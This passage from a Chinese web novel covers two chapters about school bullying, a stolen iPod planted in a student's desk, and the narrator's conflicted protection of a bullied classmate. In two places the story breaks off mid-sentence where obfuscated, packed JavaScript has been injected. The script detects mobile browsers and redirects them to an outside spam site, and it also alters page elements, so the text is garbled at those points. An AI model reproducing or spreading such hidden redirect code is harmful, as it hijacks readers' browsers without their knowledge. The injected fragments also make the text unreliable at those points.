她捏住mp3,直到手心的汗沾湿了银色的金属表面,变得滑腻。她将一只耳机塞进右耳。等传出英文课本的录音时,又戳了戳徐晓梦的手臂,把另一只耳机放进她手心。 朗读英文的女声发音清晰有力,一股从头到脚的正义感仿佛在耳朵里点亮了一盏灯。 等录音从Lesson 1一直播放到了Lesson 5,门外才传来动静。 光线照入的那一刻,世界又重新回到了明亮。 来开锁的老师吓了一跳:“你们哪个班的,还真有人?” 陈屿一直等在旁边,眼中的担忧终于卸下不少。他问庄笙:“你们没事吧?” 庄笙看了一眼徐晓梦。她一如既往地驼背低头,头发遮住了发红的侧脸,比先前还要严重一些。 徐晓梦站在她身后,似乎想要躲藏起来。 陈屿当然注意到了异样。他正要和管理老师说时,徐晓梦忽然小声说:“几点了,宿舍,打铃了吗?” 管理老师在通讯录翻了半天电话,或许是不知道该打给谁,也不知道拿他们怎么办是好。听到徐晓梦这话,他才说:“马上就打铃了,你们快点回去,别惹麻烦。” 说罢,很快把他们赶走了。 出了体育馆,庄笙才低声说:“他不会是原本该今晚值班的吧?” 陈屿说:“应该是。我来的时候他在办公室玩手机。” 庄笙说:“你怎么知道的?” “我今天值日,”陈屿说,“关门的时候看你水杯都还在桌子上。” 庄笙每天都要带水杯回宿舍,雷打不动。 “你桌面也没收。”陈屿补充道。 庄笙有点儿不好意思:“谢谢你。” “不客气,但是……” 庄笙看了一眼身后的徐晓梦,说:“你是想问,是有人故意的还是不小心的?” 学校从来没有如此安静过。夜风轻轻经过,街灯从道路两侧茂密的枝叶间投下。 庄笙望向他身后,光影在路面扫荡。她轻声道:“我只是猜测,没有证据。” 陈屿来开门的时候,庄笙瞥见了门口置物架上归还的那把改刀。从始至终,知道庄笙进入了器材室的只有一个人。 25.锁门 潮湿的空气闷作一团,不肯退散。 在一众沉默里,温嘉吃惊地瞪大眼睛,忽然有了底气一般咄咄逼人:“怎么回事啊?” 庞潇捂住嘴:“麦吉——” “干什么,”麦吉往后一退撞上墙壁,“我又不知道徐晓梦在里面。” 赵选挑眉道:“也就是说,你知道庄笙在里面咯?” 庄笙想,实际上当时她去试探过麦吉。但她没有证据,学校当时也没有监控。李婉玫听完她的怀疑就让她走了,事情调查了一遍后又喊来庄笙,说应该是她的误会。 而当时李婉玫最关心不是锁门的人。 事隔多年,麦吉的脸面荡然无存。他强撑着想解释什么,就像当年他在李婉玫办公室里那样。可是遮不住的是因争辩而变红的脸:“我……我只是忘了……” 忘了一时鬼迷心窍的感觉,也忘了嫉妒夹杂怨恨的情绪。 “谁让李老师那个时候总是当着我的面夸你,”麦吉抬起头,朝庄笙露出苍白无力的笑容,“好像我和你比起来就是个傻子,什么都做不好。我这样的人,凭什么当班长啊。” 庄笙说:“她不是那个意思——” 麦吉摇摇头,打断她:“现在再去说这些,没有意义了。是我的错,我说谎了,我应该向你道歉。抱歉,庄笙。” “你先别道歉太早了。”郁迟发出“啧”的声音。 麦吉没有理会他:“除此之外,我也想知道是那天晚上,是谁打了徐晓梦。” 这才是李婉玫最关心的。 冯银子被麦吉的眼神激怒:“你看我们干什么?” 赵选拉住她,卓诗兰赶忙说:““没人打她。就像徐晓梦自己说的,她是摔倒了撞台阶上的。” 卓诗兰说完后,顿了顿,避开了庄笙的视线。 庄笙从没说过徐晓梦撞上了台阶。 卓诗兰脸色骤变:“我、我不是故意的。我当时只是在和她说事而已。” “说什么事啊?”庞潇问。 “也没什么,不记得了。”卓诗兰没好气地回答。 都过去那么多年了,无非是些尖酸刻薄的嘲笑话。她哪里会记得。都怪徐晓梦脸皮薄,心理承受能力差,就因为这么一点小事还得今天来找她麻烦。 真烦人。 庄笙仿佛知道她在想什么,没有再继续追问。 “然后发生了什么?”陈屿问。 - 庄笙知道郁迟所在的小团体一直在以捉弄徐晓梦为乐。在所有经受过他们欺负的人当中,徐晓梦是最没有底气的那一个。 在划归他们的时候,庄笙也明白他们总归是不同的个体。相比卓诗兰傲慢嚣张,冯银子活泼爱盘算,赵选显得相当游离散漫。至于郁迟,他行事没有任何逻辑,是个十足的蠢货。 但庄笙的看法是从不久后的运动会开始转变的。 庄笙再一次感受到郁迟的威胁是某一天午休后,她提早来到教室,恰好撞见了郁迟。他坐在窗台上,不知道在捣鼓什么,听见庄笙进来也没抬眼。 庄笙刚一坐下,郁迟忽然走过来了:“喂,好学生,商量个事呗。” 庄笙抬起头。她不喜欢和郁迟说话,平时在班上几乎毫无交流。 “你刚才看到什么了?”郁迟微一挑眉。他的五官很紧凑,眼神阴沉,声音低哑难听。手指敲在桌角,手臂暴起的青筋充满攻击性。 庄笙回答:“我什么都没看见。” “不可能吧,你不都戴眼镜了吗?”郁迟一把扯下了她的眼镜。 庄笙还没来得及反应,镜腿从她的眼尾擦过,几乎碰到眼球。她轻轻叫了一声,捂住眼睛。 “你喊什么,嘘!我在跟你商量。” 郁迟单手摁住她的肩膀。男生的力气很大,蓄长的指甲隔着衣领嵌进肉里,疼得庄笙左右挣扎却无法挣脱。 “郁迟你有病吗!还给我。”庄笙强撑着桌子站起来去抢眼镜。教室的窗帘关了一半,光线使她的视线更加模糊。 郁迟嘴角带笑,举起手:“你再靠近我要扔了哈。” “你到底想怎么样?”庄笙的动作停顿。 “你好凶哦。这么凶干什么,想打我啊,不就想聊一下天嘛,”郁迟歪了歪嘴,一副轻松模样,“别那种表情,还以为你要去和李婉玫告状。你不会真的想吧?那你去啊,你看李婉玫敢不敢。” 庄笙不想看他:“我和你没什么好聊的。” “说说嘛,咱们好歹是同学。”郁迟作势去抓她的手,不料庄笙反应强烈,立刻狠狠推了他一把。郁迟始料不及,腰撞上课桌,吃痛的一瞬间庄笙夺回了眼镜。 她戴上镜架,世界又恢复了清晰。与此同时,因紧张而加速的心跳一直持续。她与郁迟拉开一点距离,不想沾染他身上的戾气。 郁迟肯定想动手。不然他不会垂眉看一眼自己的掌心。 庄笙想,就算打起来,她也绝不能让。面对这种人,有了一次,就会有下一次。 这时,走廊上不断有脚步声经过,伴随着一声“李老师”,庄笙对面的人忽然收敛起阴郁的压迫感,换上若无其事的神情。 临走前,他伸长脖子,朝庄笙做了个口型:“你、等、着。” 庄笙不想和他呆在同一个空间中,走出教室后,外面除了零星几个外班的同学,不见班主任的身影。 她绕过回廊拐角,才看到躲在花坛后的徐晓梦。女孩张大乌黑的眼睛,目光经过她的脸颊,小声说:“你没、事吧?” 她好像看见了不远处郁迟的身影,立刻拉住庄笙蹲下:“嘘,别让他看见。” 这是运动会开幕式的前三天。 直到好几年之后,庄笙想起这件事,才把那天午休时在教室的郁迟和赵选丢失的ipod、以及那件徐晓梦课桌下的演出服联系到一起。 临城中学在校风方面抓得还算严格,校服和发型都有标准要求,学生们能攀比的地方不多。当时才开始迭代盛行的电子产品是其中之一。 赵选是最先用上新款ipod的那批人,新推出的触屏特别洋气。她都不用开口,马上就有人流露出羡慕的眼神。 但在这一款流行开之前,庄笙记得,赵选的ipod是在某一次晚自习结束之后被发现丢失的。 赵选找得挺急的。倒不是因为她家教严,而是她刚下载的爱豆视频还没欣赏完,同担都在网上讲的名场面她完全没来得及看。可她一开始没告诉李婉玫,因为教学区严禁携带电子产品。等完全反应过来的时候,巴掌大小的东西已经很难找到了。 开幕式的前一天,庄笙在晚自习快结束时打算整理课桌。当左右两摞书本无法对齐时,庄笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770390|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才注意到抽屉最深处有5毫米的缝隙。一只银色的像手机一样的电子设备藏在那里,已经安静地呆了很久。 她一瞬间就想起了赵选丢失的ipod——她没用过,不是百分百确定,最好的办法是直接交给李婉玫,或者悄悄还给赵选。 庄笙警惕地排除了“亲自交还”这个选项,因为会惹上许多麻烦。就连她妈杨洁梅都会误解她的举动,更何况是其他人。 庄笙想了想,把ipod夹在了书里,完好地放回抽屉。做完这一切,她听到侧后方窸窣的声音,下意识地回过头。 她这周坐在倒数第二排中间的位置。一转头,看见徐晓梦正低头写字。她下笔很重,在稿纸上不停划拉。 庄笙记得那天晚上是徐晓梦值日,兴许是要完成作业所以很着急吧。 然而第二天早上,庄笙来到教室后,抽屉里的ipod已不翼而飞。 她心里升起种种怀疑。是谁把她的抽屉当寄存柜了?还是说昨天晚上,徐晓梦看见了什么? 既然不在了,她就不需要对此负责。 尤其很快又出了事。 庄笙总会想起那一天站在女厕所里的徐晓梦。 白色的光线从厕所上方的小窗照进来,让她显得更加透明。 庄笙不愿细看,只是匆匆一眼,那天操场上巨大的镜子再次竖立在她的心脏上。没有人会想要落入这样的处境。连旁观都是残忍。 同情也带来负面的情绪。徐晓梦的害怕和恐慌令她更加烦躁。徐晓梦可以不“表演”成这样吗,可以强硬地拒绝,为自己否认吗? 为什么总这么害怕? 就这么热爱扮演弱小吗? 等冯银子她们都离开之后,庄笙才悄悄溜了进去。她这周要参加全校英文演讲比赛,李婉梅上周就给她准备好了一套新衣服,从小西装外套到新球鞋都包圆了。她今天晚上要参加决赛,西装外套也带来了教室。 徐晓梦比她瘦一些,应该也能穿。 一见到庄笙,她的瑟缩颤抖都好了起来,眼神瞬间亮晶晶的。 “可、可以吗?”徐晓梦心虚发问。她小心翼翼的,生怕弄坏庄笙的衣服。 “很好看”三个字到嘴边,庄笙反而说不出口了。她绷着一贯的冷脸:“将就吧,看着没那么驼背。” 然后想了想,顺便把一枚蝴蝶结发卡别在徐晓梦的头发上。 “别搞砸了。”庄笙压着烦躁,努力地鼓励她。 徐晓梦竟然也妥帖地接收到了她的鼓励:“你,放心。” 临走之前,徐晓梦欲言又止了几次,朝庄笙说:“我会保、密的。你也加油。” 庄笙以为她说的是借衣服的事情,随便敷衍了两句让徐晓梦先下去。她在走廊上等了一会儿,直到班队都去操场排队形才下楼。 那天晚上,庄笙站在舞台上,心底的紧张在开口的那一刻停止。她听见自己平稳的声音从话筒里传出,也看见台下无数双明亮的眼睛。 她演讲的题目是关于大自然与人类探索,灵感来源于她和陈屿交换的杂志。她知道陈屿坐在台下,他还听过她的排练,帮她修改过几句话。 结束的时候,庄笙忽然想,要是徐晓梦也来就好了。那样她就可以告诉她: 你看,也不用那么害怕。 她也没那么害怕。 26.礼物 演讲比赛结束后,庄笙是和陈屿一同走回教室的。因为颁奖仪式还耽误了时间,晚自习下课的铃在半途响起。 教室里已经没剩几个人,氛围冷清得有些奇怪。 武平在做值日,见陈屿回去立刻让他帮忙擦黑板,自己还要去操场练一下跑步。 庄笙不疑有他。回宿舍打开手机后,杨洁梅给她发了好几条信息,内容无非是“比赛怎么样了”之类的,最后让她记得回电话。 庄笙不愿多看,直接打了电话。她站在阳台上,把身后的玻璃门关紧。杨洁梅一直没接,她隔一会儿打一次,中途就盯着夜空发呆。柔软的风经过人工湖,钻过铁栏杆,吹了她一脸水汽。 等庄笙放弃后已经等熄灯了。庄笙听见温嘉翻来覆去的声音。过了好一会儿,温嘉嗡声问:“你睡着了吗?” “没有。” “我和你说件事情。” 温嘉把今晚教室里发生的事一股脑儿地告诉了庄笙:“……你是没看到他们几个有多吓人。赵选嘴上说谈一谈,他们几个不都还要听她的话吗,就喜欢装好人。” 温嘉喋喋不休地讲了一通,末了没头没脑地加了一句:“也怪徐晓梦自己。” “不关她的事。”庄笙忽然说。 温嘉愣住了:“啊?” 庄笙翻过身,把自己闷在被子里:“睡觉吧。” 她一整晚半梦半醒,总觉得脑子里无比吵闹,有许多人在说话嘶吼、大喊大叫。而她一句也听不清楚。 徐晓梦没有来食堂吃早餐。到操场集合的时间她才姗姗来迟。运动会期间放大的喇叭和抑扬顿挫的主持完全盖过了她的所有声音。 庄笙找了个角落接杨洁梅的电话。 其实她昨晚就有一种不好的预感,但真的听见杨洁梅的声音时又是另一种感受。她好像与这个世界之间隔着一层,她是站在旁观者的角度,在看玻璃镜子的另一面。一切是那么的不真实,在情感上与她紧密相连,却又在灵魂层面与她毫无瓜葛。 上个周末回家时,杨洁梅和庄岩还在扮演一对恩爱夫妻。庄岩长期流连于麻将馆,只有全家一起吃饭时才能感受到他的不耐烦。庄笙不明白杨洁梅怎么能忍受的,也不明白这个男人是如何演出了多种面目。 而此刻,虚弱的声音在耳畔响起。憋在庄笙嘴边的话停了又停。她想说那你为什么不走呢,妈妈我们一起走可以吗。她很清楚,杨洁梅每次都不会选择她。 所以她只能听着,只能承受一切来自杨洁梅的痛苦。那些痛苦太大了,她很难,很难消化。铺天盖地的情绪像一只氢气球,包裹着她越飘越远。 庄笙站在围墙下,被巡逻保安的的声音叫回现实。误以为庄笙在朝校外买东西的保安脾气也很差劲,在见到庄笙动也不动之后更是提高了音量:“别在这里站着,赶紧走!” 庄笙抖了一下,这才匆匆离开。还没拐过弯,一个熟悉的人影在人潮边缘,好像是在等她。 陈屿先是朝她招手,等近了两步,笑容忽然愣住,手忙脚乱地从兜里掏出纸巾:“你怎么了,怎么哭啦?” 温柔关切的声音和水龙头似的,一下子拧开了庄笙心底的委屈。她仰头把纸巾往眼睛上摁,这才迟钝地发现湿了一片。真奇怪,她自己竟然不知道。 庄笙说不出来话,感觉自己在这一刻变成了徐晓梦。她费了很大力气才保持站在这里的姿势,还要用余下的力量擦干眼泪。她只能用纸巾遮住脸,尽可能地放轻呼吸。 幸好来往的人多,又足够吵闹,才不至于让她失态。 “哎哟,这怎么了?”方原的声音忽近忽远,调侃道,“陈屿,你怎么还欺负女孩子。” 陈屿似乎笑了笑,没说话。 兴许是注意到庄笙连打招呼都不愿意,方原指了指陈屿,说“你赶紧安慰一下”,然后离开了。 庄笙很感激陈屿什么都没问,而是装作认真地在看不远处的沙坑跳远。庄笙一停下,他立刻回过头:“你要喝水吗?” 庄笙摇了摇头。陈屿手里也没有水杯。她的声音已经恢复了正常:“你看到徐晓梦了吗?” 陈屿说:“刚在跳高那边见到她。奇怪,她也在问你。” 陈屿跟着她往靠近教学区的跳高场地走。庄笙没打算避着他,或许陈屿在也是好事。 找到徐晓梦的时候,庄笙心里憋的气几乎要散完了,连耐心都多了几分。她把徐晓梦拉到一旁的梧桐树下,脸色异常严肃:“昨天晚上到底怎么回事?他们打你了,还是别的?你怎么想的?” 徐晓梦可能是被她咄咄逼人的样子吓到了,悄悄看了一眼陈屿,低声支吾:“我……” “你解释了吗?” 庄笙盯着徐晓梦,几乎抓狂:“不是你干的你为什么要认?放我抽屉里的东西你为什么要拿?” 徐晓梦垂下眸,小声:“我是想……还给她。” “是你的吗你就还,还是你想‘替我’还?”庄笙提高了几分音量,一团雾气拧在胸口。 陈屿诧异地挑眉,连带着徐晓梦也从沉默变成自我怀疑。 庄笙叹了口气。她不该把他们当成杨洁梅对待,该解释的时候还是有必要解释的。于是庄笙把发现ipod的事仔细说了一遍,末了强调道:“不是我拿的,我不感兴趣。” “我信你。但,但是……”徐晓梦呆在原地,看上去十分难过。庄笙注意到她原本平直的发尾现在坑坑洼洼的,似乎剪过。 就这么问徐晓梦,是问不出结果的。 陈屿说:“她也是为你好。” 庄笙和徐晓梦异口同声:“闭嘴!” 陈屿:“……” “所以现在的问题是,到底是谁偷了ipod还放到我的抽屉里,”庄笙朝徐晓梦抬抬下巴,“还有,你得去和他们说清楚,不是你做的事不要平白无故地认了。” 然而徐晓梦却不肯走,她拽了拽庄笙的衣袖:“没用的。我没有,那么、傻。我说过很多、次,不是……我。没有人听。你不要,浪费。” 她的眼睛明亮,透着一股执着的傻气。 庄笙从那些断续的词句里听出了她想表达的意思,散去的气又回来堵住了她的嗓音:“你是想说,你是为了我好昨天才想去主动还的,既然已经怪你了,我就不应该浪费你的好意。是吗?” 徐晓梦点点头。 庄笙的嘴唇都在颤抖:“你真善良。请问是我主动要求你的吗?好人都让你当了,我怎么办?” 徐晓梦低下头,盯着自己又烂又黑的球鞋。发红的耳朵藏在发间,红红的眼眶却藏不住。她拉住要走的庄笙,语气惊慌:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778807|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、你别去。算了,已经……这样了。” 操场好大,好吵。 庄笙想,能不能更大一些,让她假装没有听见徐晓梦的话,没有看见徐晓梦的哀求。 “我不理解。”庄笙只能丢下几个字,匆匆离开。 她单独找了赵选。 事实上,她和赵选的关系一直都还可以。不冷不热,会打招呼,偶尔还能问候,赵选还是为数不多会来找她讲题的人之一。 她对赵选的印象并没有那么差。 庄笙没有提到和自己有关的那部分,只冷静地分析了事实:“徐晓梦连手机都没有,根本不懂电子产品,苹果和香蕉对她来说都是水果。最重要的是,她没有充电线,你的ipod拿回去是不是有电?” 赵选似乎想了想,却说:“有电又怎么了,她能偷我的,就能从别人那里偷线。” “你不看看她到底会不会用?” 赵选的眼睛也发红:“庄笙,你是要站在徐晓梦那一边吗?” “我没有想站队,”庄笙的呼吸浅淡,“我只是想提醒你,可能真正的小偷还没抓到。” 后来庄笙无数次想起这一天,都会懊悔为什么她要答应徐晓梦。究竟是因为徐晓梦的逃避,还是她自己的怯懦? 她本来有机会跟赵选说清楚的。 但庄笙也才明白,对于一些人来说,真相远远没那么重要。 在整个运动会期间,庄笙都始终心绪不宁。她对徐晓梦的心情极为复杂。她不知道徐晓梦为什么要为了她做这些,她不需要——忽如其来的愧疚简直要将她溺死。她本来能有一个好心情的。 都怪徐晓梦。 她真的很讨厌徐晓梦。 直到周五中午,庄笙才得知徐晓梦还要参加8x100女子接力赛。庞潇在饭桌上担心得不得了:“李婉玫让她参加的。她那鞋都烂了,跑一步鞋掉了才好笑呢。” 接力赛之前,徐晓梦在看台边碰到她和陈屿时,眼睛忽然弯了一下。等看清庄笙手里拿着的东西时,她不由发愣。 庄笙把她拉到看台侧面的阴影中,正在落叶的树刚好挡住庄笙的身影。为了避免徐晓梦自作多情,她用冷漠的语气说:“这是新鞋,我和你鞋码差不多,你先试试。” 陈屿用浮夸的语气欣赏道:“新款的!鞋底看起来很舒服。徐晓梦,这是庄笙的生日礼物,她自己都舍不得穿。” “你别瞎说!”庄笙警告他。让陈屿过来也是为了避免和徐晓梦尴尬。 陈屿撇撇嘴,和自己收到礼物一样兴高采烈:“你试试呗。” 在良久的迟疑后,徐晓梦才在二人的注视下慢慢穿上鞋子。她好像很兴奋,不知道是不是因为刚好合适的大小。 只不过这双鞋的鞋带有些复杂,她动作生疏,半天也搞不明白。 “你连鞋带都不会系吗?”庄笙的背离开灰墙,刚要蹲下时又反应住了。她直起腰,看了看陈屿,理直气壮地指使他:“你教她。” 陈屿无奈地笑笑。他让徐晓梦站起来,自己蹲下身来系鞋带。 徐晓梦受宠若惊地扭头看庄笙:“谢谢,我洗干净,还你。下周。” “不用,送你的。”庄笙在心里说,我们扯平了。 那天下午的阳光真的很好,轻柔明亮。庄笙记了好久。